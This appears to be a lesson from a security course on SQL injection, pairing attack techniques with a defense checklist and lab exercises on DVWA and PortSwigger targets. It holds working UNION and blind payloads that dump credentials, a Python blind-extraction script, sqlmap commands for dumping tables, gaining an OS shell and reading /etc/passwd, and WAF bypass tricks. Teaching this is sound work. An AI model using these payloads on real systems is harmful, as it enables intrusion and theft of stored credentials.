SQL Injection: Exploitation & Defense In-Depth
Deep dive into SQL injection — in-band, blind, out-of-band, second-order, and WAF bypass techniques — with sqlmap and full defensive countermeasures.
Learning Objectives
- → Exploit in-band (UNION) SQLi to extract database schema and data
- → Automate blind SQLi extraction with binary search
- → Use sqlmap for automated SQL injection discovery and exploitation
- → Identify and bypass common input sanitization and WAFs
- → Apply defense-in-depth: parameterized queries, ORM, least privilege, monitoring
Recall: What is SQLi?
User input concatenated into SQL → attacker changes query logic.
# VULNERABLE
query = "SELECT * FROM users WHERE username = '" + username + "'"
# username = admin'--
# Result: SELECT * FROM users WHERE username = 'admin'--'
# '--' comments out the rest → password check removed
Database Enumeration via UNION
Step 1: Determine column count
' ORDER BY 1-- (no error)
' ORDER BY 2-- (no error)
' ORDER BY 5-- (error → 4 columns)
-- Or with NULL:
' UNION SELECT NULL-- (error if 1 col)
' UNION SELECT NULL,NULL-- (error if 2 col)
' UNION SELECT NULL,NULL,NULL,NULL-- (works → 4 cols)
Step 2: Find string-injectable column
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
Step 3: Extract database metadata (SQLite)
-- List all tables
' UNION SELECT name,NULL,NULL,NULL FROM sqlite_master WHERE type='table'--
-- MySQL
' UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables
WHERE table_schema=database()--
-- List columns of a table
' UNION SELECT column_name,NULL,NULL,NULL
FROM information_schema.columns WHERE table_name='users'--
-- Extract data
' UNION SELECT username,password,email,NULL FROM users--
Step 4: Concatenate multiple values in one column
-- SQLite
' UNION SELECT group_concat(username||':'||password),NULL,NULL,NULL FROM users--
-- MySQL
' UNION SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL,NULL,NULL FROM users--
Database Fingerprinting
-- Which DB?
' UNION SELECT @@version,NULL,NULL,NULL-- MySQL/MSSQL
' UNION SELECT version(),NULL,NULL,NULL-- PostgreSQL
' UNION SELECT sqlite_version(),NULL,NULL,NULL-- SQLite
' UNION SELECT NULL,NULL,NULL,NULL FROM dual-- Oracle (needs dual table)
-- Current user and DB
' UNION SELECT user(),database(),NULL,NULL-- MySQL
' UNION SELECT current_user,current_database(),NULL,NULL-- PostgreSQL
Blind SQLi – Boolean
When no data is reflected but app behaves differently:
-- True: page loads normally
' AND 1=1--
-- False: page is empty / different
' AND 1=2--
-- Extract first char of admin password
' AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a'--
' AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='b'--
...
-- Binary search (much faster):
' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)) > 64--
' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)) > 96--
' AND ASCII(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)) > 112--
# Python binary search blind SQLi extractor
import requests
URL = "https://target/search"
def char_at(pos: int) -> str:
lo, hi = 32, 126
while lo <= hi:
mid = (lo + hi) // 2
payload = f"' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 1),{pos},1)) > {mid}--"
r = requests.get(URL, params={"q": payload})
if "found" in r.text: # true condition
lo = mid + 1
else:
hi = mid - 1
return chr(lo)
password = "".join(char_at(i) for i in range(1, 33))
print("Password:", password)
Time-Based Blind SQLi
No visible difference — use response delay:
-- MySQL: SLEEP(5) if condition is true
' AND IF((SELECT COUNT(*) FROM users WHERE username='admin')>0, SLEEP(5), 0)--
-- PostgreSQL
' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users LIMIT 1)--
-- SQLite (no native sleep — use heavy computation)
' AND (SELECT CASE WHEN (1=1) THEN RANDOMBLOB(100000000) ELSE 1 END)--
Second-Order SQLi
Payload stored safely, retrieved and used unsafely later:
-- Registration stores username with single quote:
username: admin'--
-- Login query using stored username (vulnerable):
query = "SELECT * FROM users WHERE username = '" + stored_username + "' AND active=1"
-- Executes: SELECT * FROM users WHERE username = 'admin'--' AND active=1
-- → bypasses active check!
-- Defense: parameterize ALL queries, including those using stored data
sqlmap – Automated SQLi
# Basic detection
sqlmap -u "https://target.com/search?q=test" --batch
# POST request
sqlmap -u "https://target.com/login" --data="user=test&pass=test" --batch
# Custom headers
sqlmap -u "https://target.com/api/user" -H "Authorization: Bearer TOKEN" -H "Content-Type: application/json" --data='{"id": 1}' --batch
# Extract database
sqlmap -u "URL" --dbs # list databases
sqlmap -u "URL" -D mydb --tables # list tables
sqlmap -u "URL" -D mydb -T users --dump # dump table
# Specific injection technique
sqlmap -u "URL" --technique=U # UNION only
sqlmap -u "URL" --technique=B # Boolean only
sqlmap -u "URL" --technique=T # Time-based only
# WAF bypass
sqlmap -u "URL" --tamper=space2comment,randomcase,between
sqlmap -u "URL" --random-agent --delay=2
# OS command (if DB allows)
sqlmap -u "URL" --os-shell # try to get OS shell via DB
sqlmap -u "URL" --file-read="/etc/passwd"
WAF Bypass Techniques
-- 1. Case variation
SeLeCt * FrOm users
-- 2. Comments as whitespace
SELECT/**/username/**/FROM/**/users
-- 3. URL encoding
%27 = ' %20 = space %23 = #
-- 4. Double URL encoding
%2527 = %27 (decoded to ') by second decode
-- 5. Unicode normalization
SELECT (full-width chars normalize to SELECT on some DBs)
-- 6. Alternative keywords
UNION ALL SELECT instead of UNION SELECT
0x61 instead of 'a' (hex string)
-- 7. HTTP parameter pollution
?id=1&id=2 UNION SELECT... (some parsers take last value, WAF checks first)
-- 8. Chunked encoding bypass
Transfer-Encoding: chunked — WAF may not reassemble
-- sqlmap tamper scripts
randomcase → RaNdOm CaSe
space2comment → space → /**/
between → > x → BETWEEN x AND x+1
Defense Checklist
✅ Parameterized queries / prepared statements (ALWAYS)
✅ ORM — Django/SQLAlchemy (use raw() with params only)
✅ Least privilege DB user (no CREATE TABLE, no FILE)
✅ Input validation (type, length, format — secondary defense)
✅ Error handling — never show DB errors to users
✅ WAF as additional layer (not sole defense)
✅ Monitor for SQLi patterns in logs
✅ Pen test / automated scan before production
Using a DVWA or PortSwigger SQLi lab (Low security): (1) determine column count with ORDER BY, (2) find string-injectable column, (3) extract the database version, (4) list all tables, (5) dump the users table (username + password). Use Burp Repeater for each step — document the exact payload and result for each.
What SQLite table stores database schema (table names)?
What does GROUP_CONCAT() do in SQLi exfiltration?
Write a Python script that extracts the admin password from a blind boolean SQLi endpoint: (1) implement binary search on ASCII values, (2) use SUBSTR() to check character by character, (3) detect true/false conditions by response length or content, (4) run the script and extract the full password. Then test for time-based as an alternative.
Why is binary search better than linear search for blind SQLi?
Run sqlmap against a vulnerable target (e.g., DVWA with Low security or a local Flask vulnerable app): (1) detect injection with sqlmap -u URL, (2) list databases with --dbs, (3) dump the users table with --dump, (4) try WAF bypass with --tamper=randomcase,space2comment, (5) document which sqlmap technique was used (U/B/T/S/Q/E).
What sqlmap flag dumps all data from a specific table?